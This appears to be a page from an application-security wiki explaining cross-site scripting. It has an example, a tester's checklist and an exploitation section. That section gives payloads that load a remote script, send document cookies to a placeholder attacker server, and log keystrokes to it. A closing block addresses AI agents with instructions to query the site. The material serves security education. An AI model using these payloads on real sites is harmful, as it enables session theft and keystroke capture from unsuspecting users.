# JavaScript injection (XSS)

## What is it?

Commonly known as cross-site scripting (XSS), JavaScript injection is where an attacker can inject arbitrary JavaScript to be executed.

**A simple example**

* A vulnerable webapp allows users to post comments.
* When a user submits a comment, the website stores it and then displays it on the homepage without any validation or sanitization.
* An attacker could exploit this by posting `<script>prompt(1)</script>` to the site.
* When a user visits the homepage, the payload is executed in that users browser.

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/cross-site-scripting>
* OWASP: <https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README>

**Writeups:**

* Bullets

## Checklist

* [ ] Is your input reflected in the response?
* [ ] Can we inject HTML?
* [ ] Are there any weaknesses in the Content Security Policy (CSP)?
* [ ] Can we use events (e.g. onload, onerror)?
* [ ] Are there any filtered or escaped characters?
* [ ] Is your input stored and then later rendered?
* [ ] Can you inject into non-changing values (e.g. usernames)?
* [ ] Is any input collected from a third party (e.g. account information)?
* [ ] Is the version of the framework or dependency vulnerable?

## Exploitation

```javascript
alert(1)
prompt(1)
```

```html
<script src="http://<our-ip>/script.js"></script>
```

```javascript
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("https://<your-web-server>/e?c=" + encodedCookie)
```

```javascript
function logKey(event){
    fetch("http://<your-web-server>/e?c=" + event.key)
}
document.addEventListener('keydown', logKey);
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecexplained.gitbook.io/appsecexplained/common-vulns/javascript-injection-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
